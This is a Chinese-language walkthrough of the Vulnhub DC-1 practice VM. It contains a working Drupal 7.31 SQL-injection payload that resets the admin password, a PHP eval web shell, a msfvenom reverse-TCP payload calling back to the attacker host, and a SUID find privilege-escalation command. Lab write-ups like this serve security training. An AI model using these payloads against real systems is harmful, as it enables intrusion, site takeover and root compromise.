Vulnhub DC-1 新思路
我们又来到Vulnhub DC-1 这次是船新的思路,船新的版本。
老规矩还是先丢一份资源 https://www.vulnhub.com/entry/dc-1-1,292/
好!开始我们新手村渗透之旅
需要工具:kali 、Vulnhub DC-1虚拟机
我直接用飞雷神跳到准备完毕阶段(手动滑稽)
目标机:192.168.119.145
操作机:192.168.119.140
第一步信息搜集:
由于咋们知道目标机ip,所以就直接用nmap扫描目标机端口信息(如果不知道ip地址,可以进行c段扫描,排查靶机ip地址)
这里使用的是-sV命令,能知道端口详细信息。这里可以看到目标开放了22端口和80端口,以及111端口。
看来是有一个精美的网站等着我们访问呢,访问192.168.119.145:80
好吧,比较简洁朴素.但是咋们可以发现一个重要信息:他使用了Drupal CMF!
先别激动,用whatweb看下该网站的信息
既然知晓了框架,知晓了版本,那咋们就去搜索下存在的漏洞↓
用度娘先搜了一下,映入眼帘的是这个sql注入漏洞
该漏洞在是登录处的SQL注入。通过SQL注入添加新用户。
通过抓包,发现目标网站的登录数据包和Drupal 7.31 SQL注入漏洞数据包一致,可以初步认为目标网站为Drupal 7.31。尝试使用该漏洞,使用该poc↓
name[0%20;update+users+set+name%3d'owned'+,+pass+%3d+'$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld'+where+uid+%3d+'1';;#%20%20]=test3&name[0]=test&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log+in
此处的用户为 owned 根据网友提示密码为 thanks(后面才知道此处的加密密码是通过drupal自带的加密脚本生成)
终于成功登录该系统 ✌
经过摸排,发现了该处允许使用php code来评价
翻看Help,其中提到是在text format处可用php。但是text format在那里呢???
经过又一系列的摸排,在文章的edit中发现了text format。迅速反应过来,应该是编辑文章时可以使用php代码。
尝试下添加新文章:content->add content ->article;在body中写入<?php phpinfo();?>,text format选择PHP_CODE
于是乎...
成功返回php信息。既然可以使用php代码,那一句话木马呢?带着这样的疑问,马上尝试一哈
步骤同上,Body中写入<?php @eval($_POST['cmd']);?>
然后用蚁剑链接http://192.168.119.145/node/6(这里的6是文章的编号)
又于是乎...
成功getWebShell~~~
但是仅仅getWebShell是不够的,因为当前我们不是root权限
开启新的任务:提权
经过尝试,无法使用linux一句话反弹shell
故想用msf生成getshell木马,然后上传该木马,通过访问木马文件实现反弹shell
首先生成php木马:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.119.140 lport=7777 R > getshell.php
然后在msf中设置监听:
咋们是把getshell.php放在www下,所以直接访问192.168.119.145/getshell.php
反弹shell成功,开始进行linux提权。这里我们使用的是SUID文件来提权
find / -perm -u=s -type f 2>/dev/null
可以看到find命令有SUID标志位,故咋们用find命名进行SUID提权。
touch te find te -exec '/bin/sh' \;
提权成功~~~root到手 ✌
关于flag:
根据flag1提示,去配置文件中查找,但是查找config文件无果,所以百度一下drupal配置文件位置,为settings.php。打开该文件,得到flag2
flag3位于网页里的content
根据flag4提示,最后的flag在root文件中,这里由于咋们已经完成提权,故可直接访问。
芜湖,起飞,终于完成了第一个靶机